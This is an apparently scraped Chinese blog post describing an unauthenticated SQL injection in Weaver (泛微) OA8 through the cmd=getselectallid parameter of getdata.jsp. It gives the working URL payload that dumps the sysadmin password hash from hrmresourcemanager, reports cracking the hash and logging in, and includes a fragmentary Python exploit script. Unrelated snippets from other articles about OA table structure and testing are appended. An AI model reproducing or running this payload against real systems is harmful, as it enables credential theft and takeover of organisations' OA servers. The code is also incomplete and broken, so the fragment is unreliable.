泛微OA8前台SQL注入

2022-09-08 04:24:13 字數 2616 閱讀 7614

漏洞url:

注入點在getdata.jsp中,直接將request物件交給

方法處理

在getdata方法中,判斷請求裡cmd引數是否為空,如果不為空,呼叫proc方法

proc方法4個引數,(「空字串」,」cmd引數值」,request物件,servercontext物件)

在proc方法中,對cmd引數值進行判斷,當cmd值等於getselectallid時,再從請求中獲取sql和type兩個引數值,並將引數傳遞進getselectallids(sql,type)方法中

在getselectallids(sql,type)方法中,直接將sql引數的值,傳遞進資料庫執行,並判斷type的值是否等於5,如果等於5,獲取查詢結果的requestid欄位,否則獲取查詢結果的id欄位

到此,引數從url,一直到資料庫被執行

根據以上**流程,只要構造請求引數

?cmd= getselectallid&sql=select password as id from userinfo;

即可完成對資料庫操控

在瀏覽器中,構造測試url:

頁面顯示1234

使用payload:

select password as id from hrmresourcemanager

查詢hrmresourcemanager表中的password欄位,頁面中返回了資料庫第一條記錄的值(sysadmin使用者的password)

對密文進行md5對比:

使用sysadmin    123450aa.登入系統

print(url+"存在泛微oa8 sql注入!")

else:

print("不存在sql注入!")

def exp(url):

target = url +"/js/hrm/getdata.jsp?cmd=getselectallid&sql=select password as id from hrmresourcemanager"

r = requests.get(url=target,verify=false,timeout=8)

if r.status_code == 200:

i = r.text

a = i.strip()

print("預設賬號:sysadmin")

print("密碼md5值:"+a)

if __name__=="__main__":

if args.url =='' and args.ip !='':

check(args.ip)

if args.url !='' and args.ip =='':

exp(args.url)

泛微oa系統什麼框架 泛微OA系統表結構說明文件

表名 表說明t condition 報表條件 t conditiondetail 報表條件詳細值 t datacenteruser 基層使用者資訊 t fadebespeak 調查退訂表 t fielditem 調查專案表輸入項資訊 t fielditemdetail 調查專案表輸入項資訊詳細 t ...

泛微oa系統什麼框架 泛微OA系統表結構說明文件

表名 表說明t condition 報表條件 t conditiondetail 報表條件詳細值 t datacenteruser 基層使用者資訊 t fadebespeak 調查退訂表 t fielditem 調查專案表輸入項資訊 t fielditemdetail 調查專案表輸入項資訊詳細 t ...

泛微OA使用筆記 測試

上篇文章中架構的流程經過同步,今天可以測試了!測試雖然比較繁瑣,畢竟泛微沒有提供單元測試的工具,我們只能通過人肉的方式進行測試了。1 由於泛微測試環境不穩定,我們發現在二維表的使用中出現了bug,即雖然設定了字段的讀取,但是實際過程中發現字段丟失了,而且無法在測試環境重新配置,配置了,也會丟掉。2 ...